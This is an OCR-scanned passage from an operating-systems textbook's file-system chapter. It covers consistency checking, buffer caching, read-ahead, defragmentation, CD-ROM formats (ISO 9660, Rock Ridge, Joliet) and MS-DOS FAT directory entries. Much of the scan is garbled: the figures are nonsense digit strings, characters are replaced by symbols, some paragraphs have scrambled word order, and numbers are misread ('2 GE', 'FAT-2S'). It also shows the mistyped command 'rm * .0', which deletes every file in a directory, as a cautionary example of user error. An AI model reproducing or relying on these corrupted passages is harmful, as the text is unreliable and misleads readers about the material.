o 1 2 3 4 5 6 7  8 9 1011 12131415 
1, 1 , 101, 101, 1, hl1 101011 11 11 10101 Block, in u,e 

10101' 101' 10 10 I 010 l' 1, 1010101, 1,1 F'ee block, 
(a) 

o 1 2 3 4 5 6 7  8 9 1011 12131415 
11 1,101, 101, 11 1,1,10101, 1,1,10101 Blocks in u'e 

10101,10121010101011 1'1010101,1,1 F,ee bbcks 

(c) 

Block number 
o 1 2 3 4 5 6 7 8 9 1011 12131415 
11 11 1011 1011 11 11 11 101011 11 11 10101 Block, in u,e 

1010101011 1010101011 11 1010101111 1 Fme blocks 

(b) 

o 1 2 3 4 5 6 7 8 9 1011 12131415 
11 11 1011 1*1111 11 101011 11 1110101 Block, in u,e 

101011 10/1 /01010/0/1 11 10/01011 11 / F,ee block' 

(d) 
Figure 4·27. File system states. (a) Consistent. (b) Missing block. (c) Dupii
cate block in free list. (d) Duplicate data block. 

Another situation that might occur is that of Fig. 4-27(c). Here we see a 
block, nu�b�r 4. that o�curs �wice i? the �re� list. (Duplicates can OCCur only if 
the free lIst IS really a list; WIth a bItmap It IS impossible.) The soluti h ' 

al ' I b 'ld th 
on ere IS 

SO SImp e: re ill e free list. 
The worst thing that can happen is that the same data block is present in two 

or more files, as s�own in Fig. 4-27(d) with block 5. If either of these flies is re
moved, blo�k 5 wI�1 be put on the free list, leading to a situation in which the 
same bl�ck IS both In use and free at the same time. If both files are removed, the 
block WIll be put onto the free list twice. 

The appropriate action for the file system checker to take is to allocate a free 
bloc�, copy the c�ntents of block 5 into it, and insert the copy into one of the files. 
In thIS way, t�e mfonnation content of the files is unchanged (although almost 
assuredly one IS garbled), but the file system structure is at least made consistent. 
The error s

.
h

.
ould be reported, to allow the user to inspect the damage. 

In addItIOn to cheCking to see that each block is properly accounted for, the 
file system checker also checks the directory system. It, too, uses a table of 
counters, �ut these are per file, rat�er tha� per block. It starts at the root directory 
and re�urslVe�y descends the tree, mspectmg each directory in the file system. For 
every I-node m every directory, it increments a counter for that file's usage count. 
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Remember that due to hard links, a file may appear in two or more directories. 
Symbolic links do not count and do not cause the counter for the target file to be 
incremented. . 

When the checker is all done, it has a list, indexed by i-node number, �elhng 
hoW many directories contain each file. It then compares these numbers W1tI: t�e 
link counts stored in the i-nodes themselves. These counts start at 1 when a fIle IS 
reated and are incremented each time a (hard) link is made to the file. In a con�istent file system, both counts will agree. However, two kinds of errors can oc-

cur: the link count in the i-node can be too high or it can be too }ow. . 
If the link count is higher than the number of directory entnes, then even If all 

the files are removed from the directories, the count will still be nonzero and the . 
_ ode will not be removed. This error is not serious, but it wastes space on the 1 n . 

h 1· k disk with' 
Bles that are not in any directory. It should be fixed by settmg t e m 

count in the i�node to the correct value. 
The other error is potentially catastrophic. If two directory entries are linked 

to a file, but the i-node says that there is only one, when either directory entry is 
removed, the i-node count will go to zero. When an i-node cou�t go�s to �ero, the 
file system marks it as unused and releases all of its blocks. ThIS actlOn will result 
in one of the directories now pointing to an unused i-node, whose ?locks m�y 
soon be assigned to other files. Again, the solution is just to force the link count 10 
the i-node to the actual number of directory entries. 

. '  . These two operations, checking blocks and checking dlrectones, are often 
inteorated for efficiency reasons (i.e., only one pass over the i-nodes is. required). 
Oth�r checks are also possible. For example, directories have a defirute format, 
with i-node numbers and ASCII names. If an i-node number is larger than the 
number of i�nodes on the disk, the directory has been damaged. 

Furthennore, each i-node has a mode, some of which are legal but strange, 
such as 0007, which allows the owner and his group no access at all, but allows 
outsiders to read, write, and execute the file. It might be useful to at least report 
files that give outsiders more rights than the owner. Directories w�th more th�n, 
say, 1000 entries are also suspicious. Files located in user directones,. but whl.ch 
are owned by the superuser and have the SETUID bit on, are po�ent1al secunty 
problems because such files acquire the powers of the su�eruser w�en execute? 
by any user. With a little effort, one can put together a faIrly l?ng lIst of techm
cally legal but still peculiar situations that might be worth reportmg. . 

The previous paragraphs have discussed the problem of protectmg the user 
ao-ainst crashes. Some file systems also worry about protecting the user against 
himself. If the user intends to type 

rm *.0 
to remove all the files ending with .0 (compiler-generated object files), but ac
cidentally types 

rm * .0 
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(note the space after the asteriSk), nn will remove all the files in the current direc
tory and then complain that it cannot find .0. In MS-DOS and some other systems, 
when a file is removed, all that happens is that a bit is set in the directory or i
node marking the file as removed. No disk blocks are returned to the free list 
until they are actually needed. Thus, if the user discovers the error immediately, 
it is possible to run a special utility program that "unremoves" (i.e., restores) the 
removed files. In Windows, files that are removed are placed in the recycle bin (a 
special directory), from which they can later be retrieved if need be. Of course, 
no storage is reclaimed until they are actually deleted from this directory. 

4.4.4 File System Performance 

Access to disk is much slower than access to memory. Reading a 32-bit mem
ory word might take 10  nsec. Reading from a hard disk might proceed at 100 
MB/sec, which is four times slower per 32-bit word, but to this must be added 
5-10 msec to seek to the track and then wait for the desired sector to arrive under 
the read head. If only a single word is needed, the memory access is on the order 
of a million times as fast as disk access. As a result of this difference in access 
time, many file systems have been designed with various optimizations to 
improve perfonnance. In this section we will cover three of them. 

Caching 

The most common technique used to reduce disk accesses is the block cache 
or buffer cache. (Cache is pronounced "cash" and is derived from the French 
cacher, meaning to hide.) In this context, a cache is a collection of blocks that 
logically belong on the disk but are being kept in memory for performance rea
sons. 

Various algorithms can be used to manage the cache, 1 but a common one is to 
check all read requests to see if the needed block is in the cache. If it is, the read 
request can be satisfied without a disk access. If the block is not in the cache it is 
first read into the cache and then copied to wherever it is needed. Subseque�t re
quests for the same block can be satisfied from the cache. 

Operation of the cache is illustrated in Fig. 4-28. Since there are many (often 
thousands of) blocks in the cache, some way is needed to determine quickly if a 
given block is present. The usual way is to hash the device and disk address and 
look up the result in a hash table. All the blocks with the same hash value are 
chained together on a linked list so that the collision chain can be followed. 

When a block has to be loaded into a full cache, some block has to be re
moved (and rewritten to the disk if it has been modified since being brought in). 
This situation is very much like paging, and all the usual page replacement algo
rithms described in Chap. 3, such as FIFO, second chance, and LRU, are applica
ble. One pleasant difference between paging and caching is that cache references 
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Hash lable Front (LRU) Rear (MAU) 

Figure 4·28. The buffer cache data structures. 

are relatively infrequent, so that it is feasible to keep aU the blocks in exact LRU 

order with linked lists. . . . th h h 
In Fig. 4�28, we see that in addition to the collisIon chams startl�g at e as 

table there is also a bidirectional list running through all the b�oc�s In :e �rder o� 
usa � with the least recently used block on the front

. 
of thIS lIst a� t e mos 

g '
] d bi k at the end of this list When a block IS referenced, It can be fe-

recent y use oc . 
]' d t th nd In this way 

moved from its position on the bidirectional 1St an put a e e . , 

exact LRU order can be maintained. 
. . 

. . 
h t 

Unfortunately there is a catch. Now that we have a SItUatIOn m WhiC ex�c 

LRU is ossible, i
'
t turns out that LRU is undesira.ble. The p:oblem h

.
as to do Wl

.
t� 

the cras:es and file system consistency discu�sed m the prevIous sec���nd I� a 
t
cn�

t 
ical block such as an i-node block, is read mto the cache a�d mo. I Ie , u n 

'tt n t
' 

the disk a crash will leave the file system in an mconslstent state. If 
rewn e o , 

U h "  b 'te a while before 
the i-node block is put at the end of the LR: c am, It may e qUI 

it reaches the front and is rewritten to the dISk. 

F rthennore some blocks, such as iwnode blocks, are rarely refer�nced two 
, 

u 
'
th

' ' 
hort l'nterval These considerations lead to a modIfied LRU 

tlmes wl m a s  . 
scheme, taking two factors into account: 

1.  Is the block likely to be needed again soon? 

2. Is the block essential to the consistency of the file system? 

For both questions, blocks can be divided into categories s�ch as i-node bIOC�S, 
indirect blocks directory blocks, full data blocks, and partIally full data bloc s. 
Blocks that wili probably not be needed again soon go ?n the front, rather t�an the 

f th LRU list so their buffers will be reused qmckly, Blocks that mlght be �:�d�d a;ain soon, �uch as a partly full block. that is being written, go on the end 
of the list so they will stay around for a long tIme. 

. 
The s�cond question is independent of the first one. If the block is essen�al to 

the file system consistency (basically, everything except data blocks), and It has 
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been modified, it should be written to disk immediately, regardless of which end 
of the LRU list it is put on. By writing critical blocks quickly, we greatly reduce 
the probability that a crash will wreck the file system. While a user may be 
unhappy if one of his files is ruined in a crash, he is likely to be far more unhappy 
if the whole file system is lost. 

Even with this measure to keep the file system integrity intact, it is undesir
able to keep data blocks in the cache too long before writing them out. Consider 
the plight of someone who is using a personal computer to write a book. Even if 
our writer periodically tells the editor to write the file being edited to the disk, 
there is a good chance that everything will still be in the cache and nothing on the 
disk. If the system crashes, the file system Structure will not be corrupted, but a 
whole day's work will be lost. 

This situation need not happen very often before we have a fairly unhappy 
user. Systems take two approaches to dealing with it The UNIX way is to have a 
system call, sync, which forces aU the modified blocks Out onto the disk im
mediately. When the system is started up, a program, usually called update, is 
started up in the background to sit in an endless loop issuing sync calls, sleeping 
for 30 sec between calls. As a result, no more than 30 seconds of work is lost due 
to a crash. 

Although Windows now has a system call equivalent to sync, FlushFileBuff
ers, in the past it did not. Instead, it had a different strategy that was in s�me ways 
better than the UNIX approach (and in some ways worse). What it did was to 
write every modified block to disk as soon as it has been written to the cache. 

Caches in which all modified blocks are written _back to the disk immediately are 
called write�through caches. They require more disk IJO than nonwrite-through 
caches. 

The difference between these two approaches can be seen when a program 
writes a l-KB block full, one character at a time. UNIX will collect all the charac
ters in the cache and write the block out once every 30 seconds, or whenever the 
block is removed from the cache. With a write-through cache, there is a disk ac
cess for every character written. Of course, most programs do internal buffering, 
so they normally write not a character, but a line or a larger unit on each write sys
tem calL 

A consequence of this difference in caching strategy is that just removing a 
(floppy) disk from a UNIX system without doing a sync will almost always result 
in lost data, and frequently in a corrupted file system as well. With write-through 
caching no problem arises. These differing strategies were chosen because UNIX 
was developed in an environment in which all disks were _h�rd disks and not 
removable, whereas the first Windows file system was inherited from MS-DOS, 
which started out in the floppy disk world. As hard disks became the norm, the 
UNIX approach, with its better efficiency (but worse reliability), became the 
nonn, and is also used now on Windows for hard disks. However, NTFS takes 
other measures Gournaling) to improve reliability, as discussed earlier. 
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Some operating systems integrate the buffer cache with the page cache. This 
is especially attractive when memory-mapped files are supported. If a me is map
ped onto memory, then some of its pages may be in memory becau�e they were 
demand paged in. Such pages are hardly different from file blocks m the buffer 
cache. In this case, they can be treated the same way, with a single cache for both 
file blocks and pages. 

Block Read Ahead 

A second technique for improving perceived file system perfonnance is to try 
to get blocks into the cache before they are needed to increase the hit rate. In par
ticular, many files are read sequentially_ When the file system is asked to produce 
block k in a file, it does that, but when it is finished, it makes a sneaky check in 
the cache to see if block k + 1 is already there. If it is not, it schedules � read for 
block k + 1 in the hope that when it is needed, it will have already arrived in the 
cache. At the very least, it will be on the way. 

Of course, this read ahead strategy only works for files that are being read se
quentially. If a file is being randomly accessed, read ahead does not help. In fact, 
it hurts by tyin" up disk bandwidth reading in useless blocks and removing poten
tially useful bl�cks from the cache (and possibly tying up more disk bandwidth 
writing them back to disk if they are dirty). To see whether read ahead is worth 
doing, the file system can keep track of the access patterns to each open file. For 
example, a bit associated with each file can keep track of whether the file is in 
"sequential access mode" or «random access mode." Initially, the file is given 
the benefit of the doubt and put in sequential access mode. However, whenever a 
seek is done, the bit is cleared. If sequential reads start happening again, the bit is 
set once again. In this way, the file system can make a reasonable guess about 
whether it should read ahead or not. If it gets it wrong once in a while, it is not a 
disaster, just a little bit of wasted disk bandwidth. 

Reducing Disk Ann Motion 

Caching and read ahead are not the only ways to increase file system per
formance. Another important technique is to reduce the amount of disk arm 
motion by putting blocks that are likely to be accessed in sequence close to each 
other, preferably in the same cylinder. When an output file is written, the file sys
tem has to allocate the blocks one at a time, on demand. If the free blocks are 
recorded in a bitmap, and the whole bitmap is in main memory, it is easy enough 
to choose a free block as close as possible to the previous block. With a free list, 
part of which is on disk, it is much harder to allocate blocks close together. 

However, even with a free list, some block clustering can be done. The trick 
is to keep track of disk storage not in blocks, but in groups of consecutive blocks. 
If all sectors consist of 512 bytes, the system could use I-KB blocks (2 sectors) 
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but allocate disk storage in units of 2 blocks (4 sectors). This is not the same as 
having a 2-KB disk blocks, since the cache would still use I-KB blocks and disk 
transfers would still be 1 KB, but reading a file sequentially on an otherwise idle 
syste

.
m would reduce the number of seeks by a factor of two, considerably 1m

provmg performance. A variation on the same theme is to take account of rota
t�onal positi

.
oning. :"hen allocating blocks, the system attempts to place consecu

tIve blocks m a file m the same cylinder. 
A�other perfonnance bottleneck in systems that use i-nodes Or anything like 

them IS that reading even a short file requires two disk accesses: one for the i-node 
and one for the block. The usual i-node placement is shown in Fig. 4-29(a). Here 
all the i-nodes are near the beginning of the disk, so the average distance between 
an i-node and its blocks will be about half the number of cylinders, requiring long 
seeks. . 

I-nodes are 
located near 
the start :::::�IIIa ... of the disk I 

(a) (b) 

Disk is divided into 
cylinder groups, each 
with its own J-nodes 

Figure 4-29. (a) I-nodes placed at the start of the disk. (b) Disk divided into 
cylinder groups, each with its own blocks and i-nodes. 

One easy perfonnance improvement is to put the i-nodes in the middle of the 
disk, rather than at the start, thus reducing the average seek between the i-node 
and the first block by a factor of two. Another idea, shown in Fig. 4-29(b), is to 
divide the disk into cylinder groups, each with its own i-nodes, blocks, and free 
list (McKusick et aI., 1984). When creating a new file, any i-node can be chosen, 
but an attempt is made to find a block in the same cylinder group as the i-node. If 
none is available, then a block in a nearby cylinder group is used. 

4.4.5 Defragrnenting Disks 

When the operating system is initially installed, the programs and files it 
needs are installed consecutively starting at the beginning of the disk, each one di
rectly following the previous one. All free disk space is in a single contiguous unit 
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following the installed files. However, as time goes on, fil�s are created and re

moved and typically the disk becomes badly fragmented, WIth files and holes all 

over the place. As a consequence, when a new file is created, the blocks used for 

it may be spread all over the disk, giving poor performance. 

The performance can be restored by moving files ar?und to make them con� 

tiguous and to put all (or at least most) of the free space In one or more large .con

tiguous regions on the disk. Windows has a program, dejrag, that does precIsely 

this. Windows users should run it regularly. . 
Defra!ITIlentation works better on file systems that have a faIr amount of free 

space in � contiguous region at the end of the partition. This space allow� �e 

defragmentation program to select fragmente? fi1e� near the start of 
.
the partJtlOn 

and copy all their blocks to the free space. ThIs actIon frees up a contIguous block 

of space near the start of the partition into which the original or other files can .
be 

placed contiguously. The process can then be repeated with the next chunk of dISk 

space, and so on. . . 
Some files cannot be moved, including the paging file, the hibernation file, 

and the journaling log, because the administration that would b� req�ired to .do 

this is more trouble than it is worth. In some systems, these are fixed-sIZe conug

uous areas anyway, so they do not have to be defragmented. The one time when 

their lack of mobility is a problem is when they happen to be near the end of t�e 

partition and the user wants to reduce the partition size. The only way to solve thIS 

problem is to remove them altogether, resize the partition, and then recreate them 

afterward. 
Linux file systems (especially ext2 and ext3) generally suffer less from 

defragmentation than Windows systems due to the way disk blocks are selected, 

so manual defragmentation is rarely required. 

4.5 EXAMPLE FILE SYSTEMS 

In the following sections we will discuss several example file systems, rang
ina from quite simple to more sophisticated. Since modern UNIX file systems and 
Windows Vista's native file system are covered in the chapter on UNIX (Chap. 
10) and the chapter on Windows Vista (Chap. 1 1 )  we will not cover those systems 
here. We will, however, examine their predecessors below. 

4.5.1 CD·ROM File Systems 

As our first example of a file system, let us consider the file systems used on 
CD-ROMs. These systems are particularly simple because they were designed for 
write-once media. Among other things, for example, they have no provision for 
keeping track of free blocks because on a CD-RO� files cannot be freed o� added 
after the disk has been manufactured. Below we Win take a look at the mam CD� 
ROM file system type and two extensions to it. 
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Some years after the CD-ROM made its debut, the CD-R (CD Recordable) 
was introduced. Unlike the CD-ROM, it is possible to add files after the initial 
burning, but these are simply appended to the end of the CD-R. Files are never 
removed (although the directory can be updated to hide existing files). As a 
consequence of this "append-only" file system, the fundamental properties are 
not altered. In particular, all the free space is in one contiguous chunk at the end 
of the CD. 

The ISO 9660 FIle System 

The most common standard for CD-ROM file systems was adopted as an 
International Standard in 1988 under the name ISO 9660. Virtually every CD
ROM currently on the market is compatible with this standard, sometimes with 
the extensions to be discussed below. One of the goals of this standard was to 
make every CD-ROM readable on every computer, independent of the byte order
ing used and independent of the operating system used. As a consequence, some 
limitations were placed on the file system to make it possible for the weakest op
erating systems then in use (such as MS-DOS) to read it. 

CD-ROMs do not have concentric cylinders the way magnetic disks do. In
stead there is a single continuous spiral containing the bits in a linear sequence 
(although seeks across the spiral are possible). The bits along the spiral are divid
ed into logical blocks (also called logical sectors) of 2352 bytes. Some of these 
are for preambles, error correction, and other overhead. The payload portion of 
each logical block is 2048 bytes. When used for music, CDs have leadins, 
leadouts, and intertrack gaps, but these are not used for data CD-ROMs. Often 
the position of a block along the spiral is quoted in minutes and seconds. It can be 
converted to -a linear block number using the conversion factor of I sec :::::: 75 
blocks. 

ISO 9660 supports CD-ROM sets with as many as 216 - 1 CDs in the set The 
individual CD-ROMs may also be partitioned into logical volumes (partitions). 
However, below we will concentrate on ISO 9660 for a single unpartitioned CD
ROM. 

Every CD-ROM begins with 16 blocks whose function is not defined by the 
ISO 9660 standard. A CD-ROM manufacturer could use this area for providing a 
bootstrap program to allow the computer to be booted from the CD-ROM, or for 
some other purpose. Next comes one block containing the primary volume 
descriptor, which contains some general information about the. CD-ROM. This 
information includes the system identifier (32 bytes), volume "Identifier (32 bytes), 
publisher identifier (128 bytes), and data preparer identifier (128 bytes). The 
manufacturer can fill in these fields in any desired way, except that only upper 
case letters, digits, and a very small number of punctuation marks may be used to 
ensure cross-platform compatibility. 
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Figure 4-30. The ISO 9660 directory enty. 

Directory entries may optionally have extended. attributes, 

used, the second byte tells how long the extended attnbutes are. 
If this feature is 
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Next comes the starring block of the file itself. Files are stored as contiguous 
runs of blocks, so a file's location is completely specified by the starting block 
and the size, which is contained in the next field. 

The date and time that the CD-ROM was recorded is stored in the next field, 
with separate bytes for the year, month, day, hour, minute, second, and time zone. 
Years begin to count at 1900, which means that CD-ROMs will suffer from a 
Y2156 problem because the year following 2155 will be 1900. This problem 
could have been delayed by defining the origin of time to be 1988 (the year the 
standard was adopted). Had that been done, the problem would have been post
poned until 2244. Every 88 extra years helps. 

The Flags field contains a few miscellaneous bits, including one to hide the 
entry in listings (a feature copied from MS-DOS), one to distinguish an entry that 
is a file from an entry that is a directory, one to enable the use of the extended at
tributes, and one to mark the last entry in a directory. A few other bits are also 
present in this field but they will not concern uS here. The next field deals with 
interleaving pieces of files in a way that is not used in the simplest version of ISO 
9660, so we will not consider it further. 

The next field tells which CD-ROM the file is located on. It is pennitted that 
a directory entry on one CD-ROM refers to a file located on another CD-ROM in 
the set. In this way it is possible to build a master directory on the first CD�ROM 
that lists all the files on all the CD-ROMs in the complete set. • 

The field marked L in Fig. 4-30 gives the size of the file name in bytes. It is 
followed by the file name itself. A file name consists of a base name, a dot, an 
extension, a semicolon, and a binary version number (1 or 2 bytes). The base 
name and extension may use upper case letters, the digits 0-9, and the underscore 
character. All other characters are forbidden to make sure that every computer can 
handle every file name. The base name can be up to eight characters; the exten
sion can be up to three characters. These choices were dictated by the need to be 
MS-DOS compatible. A file name may be present in a directory multiple times, as 
long as each one has a different version number. 

The last two fields are not always present. The Padding field is used to force 
every directory entry to be an even number of bytes, to align the numeric fields of 
subsequent entries on 2-byte boundaries. If padding is needed, a 0 byte is used. 
Finally, we have the System use field. Its function and size are undefined, except 
that it must be an even number of bytes. Different systems use it in different ways. 
The Macintosh keeps Finder flags here, for example. 

Entries within a directory are listed in alphabetical order except for the first 
two entries. The first entry is for the directory itself. The second one is for its par
ent. In this respect, these entries are similar to the UNIX . and .. directory entries. 
The files themselves need not be in directory order. 

There is no explicit limit to the number of entries in a directory. However, 
there is a limit to the depth of nesting. The maximum depth of directory nesting is 
eight. This limit was arbitrarily set to make some implementations simpler. 
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ISO 9660 defines what are called three levels. Level l is the most restri�tive 
and specifies that file names are limited to 8 + 3 characters a� we have descnbe�, 
and also requires all files to be contiguous as we have descnbe�. Furthermo:e, It 
specifies that directory names be limited to eight characters wIth no extensiOns. 
Use of this level maximizes the chances that a CD-ROM can be read on every 
computer. . . 

Level 2 relaxes the length restriction. It allows files and dlrectones to have 
names of up to 31 characters, but still from the same set of characters. 

Level 3 uses the same name limits as level 2, but partially relaxes the assump
tion that files have to be contiguous. With this level, a file may consist of several 
sectlQTIs (extents), each of which is a contiguous run of blocks. The same run may 
occur mUltiple times in a file and may also occur in two or more files. I� l�ge 
chunks of data are repeated in several files, level 3 provides some space optimIZa
tion by not requiring the data to be present multiple times. 

Rock Ridge Extensions 

As we have seen, ISO 9660 is highly restrictive in several ways. Shortly after 
it came out, people in the UNIX community began working on an extensio? to 
make it possible to represent UNIX file systems on a CD-ROM. These extenSIOns 
were named Rock Ridge, after a town in the Gene Wilder movie Blazing Saddles, 
probably because one of the committee members liked the film. . The extensions use the System use field in order to make Rock RIdge CD
ROMs readable on any computer. An the other fields retain their normal ISO 
9660 meaning. Any system not aware of the Rock Ridge extensions just ignores 
them and sees a normal CD-ROM. 

The extensions are divided up into the following fields: 

1. PX - POSIX attributes. 

2. PN - Major and minor device numbers. 

3. SL - SymboliC link. 

4. NM - Alternative name. 

5. CL - Child location. 

6. PL - Parent location. 

7. RE - Relocation. 

8. TF - Time stamps. 

The PX field contains the standard UNIX rwxrwxrwx permission bits for the 
owner, group, and others. It also contains the other bits contained in the mode 
word, such as the SETUID and SETGID bits, and so on. 
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To allow raw devices to be represented on a CD-ROM, the PN field is pres
ent. It contains the major and minor device numbers associated with the file. In 
this way, the contents of the Idev directory can be written to a CDHROM and later 
reconstructed correctly on the target system. 

The SL field is for symbolic links. It allows a file on one file system to refer 
to a file on a different file system. 

Probably the most important field is NM. It allows a second name to be asso
ciated with the file. This name is not subject to the character set or length restric
tions of ISO 9660, making it possible to express arbitrary UNIX file names on a 
CD-ROM. 

The next three fields are used together to' get around the ISO 9660 limit of di
rectories that may only be nested eight deep. Using them it is possible to specify 
that a directory is to be relocated, and to tell where it goes in the hierarchy. It is 
effectively a way to work around the artificial depth limit. 

Finally, the TF field contains the three timestamps included in each UNIX i
node, namely the time the file was created, the time it was last modified, and the 
time it was last accessed. Together, these extensions make it possible to copy a 
UN1X file system to a CD-ROM and then restore it correctly to a different system. 

Joliet Extensions 

The UNIX community was not the only group that wanted a way to extend 
ISO 9660. Microsoft also found it too restrictive (although it was Microsoft's 
own MS-DOS that caused most of the restrictions in the first place). Therefore 
Microsoft invented some extensions that were called Joliet. They were designed 
to allow Windows file systems to be copied to CD-ROM and then restored, in pre
cisely the same way that Rock Ridge was designed for UNIX. Virtually aU pro
grams that run under Windows and use CD-ROMs support Joliet, including pro
grams that burn CD-recordables. Usually, these programs offer a choice between 
the various ISO 9660 levels and Joliet. 

The major extensions provided by Joliet are: 

1 .  Long file names. 

2. Unicode character set. 

3. Directory nesting deeper than eight levels. 

4. Directory names with extensions 

The first extension allows file names up to 64 characters. -1be second extension 
enables the use of the Unicode character set for file names. This extension is im
portant for software intended for use in countries that do not use the Latin alpha
bet, such as Japan, Israel, and Greece. Since Unicode characters are 2 bytes, the 
maximum file name in Joliet occupies 128 bytes. 



316 FILE SYSTEMS CHAP. 4 

Like Rock Ridge, the limitation on directory nesting is removed by Joliet. Di
rectories can be nested as deeply as needed. Finally, directory names can �ave 
extensions. It is not clear why this extension was included, since Windows dIrec
tories virtually never use extensions, but maybe some day they wilL 

4.5.2 The MS-DOS File System 

The MS-DOS file system is the one the first IBM PCs came with. It was the 
main file system up through Windows 98 and Windows ME. It is. st�l1 supported 
on Windows 2000, Windows XP, and Windows Vista, although It IS no longer 
standard on new PCs now except for floppy disks. However, it and an extens�o� 
of it (FAT-32) have become widely used for many embedded systems. Most ?lgI
tal cameras use it. Many MP3 players use it exclusively. The popular Apple IPod 
uses it as the default file system, although knowledgeable hackers can reformat 
the iPod and install a different file system. Thus the number of electronic devices 
usina the MS-DOS file system is vastly larger now than at any time in the past, and 
cert�nlY much larger than the number using the more modern NTFS file system. 
For that reason alone, it is worth looking at in some detail 

To read a file, an MS-DOS program must first make an open system call to get 
a handle for it. The open system call specifies a path, which may be either abso
lute or relative to the current working directory. The path is looked up component 
by component until the final directory is located and read into memory. It is then 
searched for the file to be opened. 

Although MS-DOS directories are variable sized, they use a fixed-size 32-byte 
directory entry. The format of an MS-DOS directory entry is shown in Fig. 4-31 .  It 
contains the file name, attributes, creation date and time, starting block, and exact 
file size. File names shorter than 8 + 3 characters are left justified and padded 
with spaces on the right, in each field separately. The Attribute� fiel� is ?ew and 
contains bits to indicate that a file is read-only, needs to be archived, IS hIdden, or 
is a system file. Read-only files cannot be written. This is to protect th�m f�om 
accidental damaae. The archived bit has no actual operating system functIOn (I.e., 
MS-DOS does n;t examine or set it). The intention is to allow user-level archive 
programs to clear it upon archiving a file and to have other p�ogr�s set. it whe? 
modifying a file. In this way, a backup program can just exanune thIS attnbute bIt 
on every file to see which files to back up. The hidden bit can. be set t� preven� a 
file from appearing in directory listings. Its main use is to aVOId confusmg nOVIce 
users with files they might not understand. Finally. the system bit also hides files. 
In addition, system files cannot accidentally be deleted using the del command. 
The main components of MS-DOS have this bit set. 

The directory entry also contains the date and time the file was created or last 
modified. The time is aCCurate only to ±2 sec because it is stored in a 2-byte field, 
which can store only 65,536 unique values (a day contains 86,400 seconds). The 
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Figure 4·31. The MS·DOS directory entry. 
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time field is subd�vided int� seconds (5 bits), minutes (6 bits), and hours (5 bits). 
The date counts In days usmg three subfields: day (5 bits), month (4 bits), and 
year-:-1980 (7 bits) .. With a �-bit number for the year and time beginning in 1980, 
the hIg�est expressIble year IS 2107. Thus MS-DOS has a built-in Y2108 problem. 
To aVOId ca!astrophe, MS-DOS users should begin with Y2108 compliance as 
early as possIble. If MS-DOS had used the combined date and time fields as a 32-
bit seconds counter, it could have represented every second exactly and delayed 
the catastrophe until 2116. 

MS-DOS stores the file size as a 32-bit number, so in theory files can be as 
large as 4 GE. However, other limits (described below) restrict the maximum file 
size to 2 GB or less. A surprisingly large part of the entry (10 bytes) is unused. 

M�-DOS keeps track o.f file blocks via a file allocation table in main memory. 
The dIrectory entry contams the number of the first file block. This number is 
used as an index into a 64K entry FAT in main memory. By following the chain, 
all the blocks can be found. The operation of the FAT is illustrated in Fig. 4--12. 

Th� FAT file system comes in three versions: FAT-12, FAT-16, and FAT-32, 
dependmg on how many bits a disk address contains. Actually, FAT-32 is some
thing of a misnomer, since only the low-order 28 bits of the disk addresses are 
used. It should have been called FAT-2S, but powers of two sound so much 
neater. �or all FATs, the disk block can be set to some multiple of 512 bytes (possib
ly dIfferent for each partition), with the set of allowed block sizes (called cluster 
sizes by Microsoft) being different for each variant. The first version of MS-DOS 
used FAT-12 with 512-byte blocks, giving a maximum partition size of212 x 512 
bytes (actually only 4086 x 512 bytes because 10 of  the disk addresses were used 
as s�ecia1 markers, such as end of file, bad block, etc.). With these parameters, the 
maXImum disk partition size was about 2 ME and the size of the FAT table in 
memory was 4096 entries of 2 bytes each. Using a 12-bit table entry would have 
been too slow. 

This system worked well for floppy disks, but when hard disks came out, it 
b.ecarne a problem. Microsoft solved the problem by allowing additional block 
SIzes of I KB, 2 KB, and 4 KB. This change preserved the structure and size of 
the FAT-12 table, but allowed disk partitions of up to 16 MB. 
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Since MS-DOS supported four disk partitions per disk d:ive, the ne� FAT-12 
file system worked up to 64-MB disks. Beyond that, �o�ethin� had to gn'.e: What 
happened was the introduction of FAT-16, with 16-blt dlsk pOlflters. �ddltlOnally, 
block sizes of 8 KB, 16 KB, and 32 KB were permitted. (32,768 1S the largest 
power of two that can be represented in 16 bits.) The FAT-16 ta�le now occupl�d 128 KB of main memory all the time, but with the larger memones by then avrul
able, it was widely used and rapidly replaced the FAT-12 file syste�. The largest 
disk partition that can be supported by FAT·16 is 2 GB (64K entnes of 32 KB 
each) and the largest disk, 8 GB, namely four partItIons of 2 GB e�ch. . . . 

For business letters, this limit is not a problem, b�t for ston�g dIgItal vIdeo 
using the DV standard, a 2-GB file holds just over 9 mmutes of.v.

ldeo. As a con
sequence of the fact that a PC disk can support ?nly four partItiOnS, the largest 
video that can be stored on a disk is about 38 mmutes, no matter ?OW lar�e �e 
disk is. This limit also means that the largest video that can be edIted on line IS 
less than 19 minutes, since both input and output files are needed. . Starting with the second release of Windows 95, th� FAT-32 file system, "":lth 
its 28-bit disk addresses, was introduced and the verSlOn of MS-DOS. �nderlymg 
Windows 95 was adapted to support FAT-32. In this system, partltlons could 
theoretically be 228 x 2" bytes, but they are actually limited to 2 TB (2048 GB) 
because internally the system keeps track of partition sizes in .5,

12-b7te sectors 
using a 32-bit number, and 29 x 232 is 2!B. The .ma�imum partruon SIze for var
ious block sizes and all three FAT types IS shown 10 FIg. 4-32. 

Block size FAT-12 FAT·i6 FAT·32 

0.5 KB 2 MB 

1 KB 4 MB 

2 KB 8 MB 128 MB 

4 KB 16 MB 256 MB 1 TB 

8 KB 512 MB 2 TB 

16 KB 1 024 MB 2 TB 

32 KB 2048 MB 2 TB 

Figure 4-32, Maximum partition size for different block sizes. The empty boxes 
represent forbidden combinations. 

In addition to supporting larger disks, the FAT-32 file system has. two oth�r 
advantages over FAT-16. First, an 8-GB disk using FAT-32 can be a smgl� partI
tion. Using FAT-16 it has to be four partitions, which appears to the Wmdo,ws 
user as the C:, D:, E:, and F: logical disk drives. It is up to the user to decIde 
which file to place on which drive and keep track of what is wh�re. . . The other advantage ofFAT-32 over FAT-I 6 is that for a gIven SIze dlS� �ar
tition, a smaller block size can be used, For example, for a 2-GB disk partlllOn, 
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FAT-16 must use 32-KB blocks; otherwise with only 64K available disk ad
dresses, it cannot cover the whole partition. In contrast, FAT-32 can use, for ex
ample, 4�KB blocks for a 2-GB disk partition. The advantage of the smaller block 
size is that most files are much shorter than 32 KB. If the block size is 32 KB, a 
file of 10 bytes ties up 32 KB of disk space. If the average file is, say, 8 KB, then 
with a 32-KB block, % of the disk will be wasted, not a terribly efficient way to 
use the disk. With an 8-KB file and a 4�KB block, there is no disk wastage, but 
the price paid is more RAM eaten up by the FAT. With a 4·KB block and a 2.GB 
disk partition, there are 5I2K blocks, so the FAT must have SI2K entries in mem
ory (occupying 2 MB of RAM). 

